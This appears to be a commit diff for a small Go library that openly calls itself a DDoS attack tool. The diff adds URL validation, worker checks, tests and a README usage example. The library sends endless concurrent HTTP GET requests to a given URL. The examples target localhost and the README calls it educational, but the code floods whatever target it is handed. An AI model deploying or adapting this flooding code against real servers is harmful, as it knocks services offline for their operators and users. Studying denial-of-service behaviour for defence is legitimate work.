add more test and checking URL

README.md

@@ -7,3 +7,23 @@
 [![GoDoc](https://godoc.org/github.com/Konstantin8105/DDoS?status.svg)](https://godoc.org/github.com/Konstantin8105/DDoS)
 
 DDoS attack. Creating infinite http GET requests.
+If you need more information, then please see [wiki](https://en.wikipedia.org/wiki/Denial-of-service_attack#Defense_techniques).
+
+**Library created just for education task.**
+
+Minimal example of using:
+
+```golang
+func main() {
+	workers := 100
+	d, err := ddos.New("http://127.0.0.1:80", workers)
+	if err != nil {
+		panic(err)
+	}
+	d.Run()
+	time.Sleep(time.Second)
+	d.Stop()
+	fmt.Println("DDoS attack server: http://127.0.0.1:80")
+	// Output: DDoS attack server: http://127.0.0.1:80
+}
+```

ddos.go

@@ -1,9 +1,11 @@
 package ddos
 
 import (
+	"fmt"
 	"io"
 	"io/ioutil"
 	"net/http"
+	"net/url"
 	"runtime"
 	"sync/atomic"
 )
@@ -19,17 +21,21 @@ type DDoS struct {
 	amountRequests int64
 }
 
-// NewDDoS - initialization of new DDoS attack
-func NewDDoS(url string, workers int) *DDoS {
-	s := make(chan bool)
+// New - initialization of new DDoS attack
+func New(URL string, workers int) (*DDoS, error) {
 	if workers < 1 {
-		workers = 1
+		return nil, fmt.Errorf("Amount of workers cannot be less 1")
+	}
+	u, err := url.Parse(URL)
+	if err != nil || len(u.Host) == 0 {
+		return nil, fmt.Errorf("Undefined host or error = %v", err)
 	}
+	s := make(chan bool)
 	return &DDoS{
-		url:           url,
+		url:           URL,
 		stop:          &s,
 		amountWorkers: workers,
-	}
+	}, nil
 }
 
 // Run - run DDoS attack

ddos_test.go

@@ -12,7 +12,10 @@ import (
 )
 
 func TestNewDDoS(t *testing.T) {
-	d := ddos.NewDDoS("127.0.0.1", 0)
+	d, err := ddos.New("http://127.0.0.1", 1)
+	if err != nil {
+		t.Error("Cannot create a new ddos structure. Error = ", err)
+	}
 	if d == nil {
 		t.Error("Cannot create a new ddos structure")
 	}
@@ -26,7 +29,10 @@ func TestDDoS(t *testing.T) {
 	createServer(port, t)
 
 	url := "http://127.0.0.1:" + strconv.Itoa(port)
-	d := ddos.NewDDoS(url, 100)
+	d, err := ddos.New(url, 100)
+	if err != nil {
+		t.Error("Cannot create a new ddos structure")
+	}
 	d.Run()
 	time.Sleep(time.Second)
 	d.Stop()
@@ -47,3 +53,30 @@ func createServer(port int, t *testing.T) {
 		}
 	}()
 }
+
+func TestWorkers(t *testing.T) {
+	_, err := ddos.New("127.0.0.1", 0)
+	if err == nil {
+		t.Error("Cannot create a new ddos structure")
+	}
+}
+
+func TestUrl(t *testing.T) {
+	_, err := ddos.New("some_strange_host", 1)
+	if err == nil {
+		t.Error("Cannot create a new ddos structure")
+	}
+}
+
+func ExampleNew() {
+	workers := 100
+	d, err := ddos.New("http://127.0.0.1:80", workers)
+	if err != nil {
+		panic(err)
+	}
+	d.Run()
+	time.Sleep(time.Second)
+	d.Stop()
+	fmt.Println("DDoS attack server: http://127.0.0.1:80")
+	// Output: DDoS attack server: http://127.0.0.1:80
+}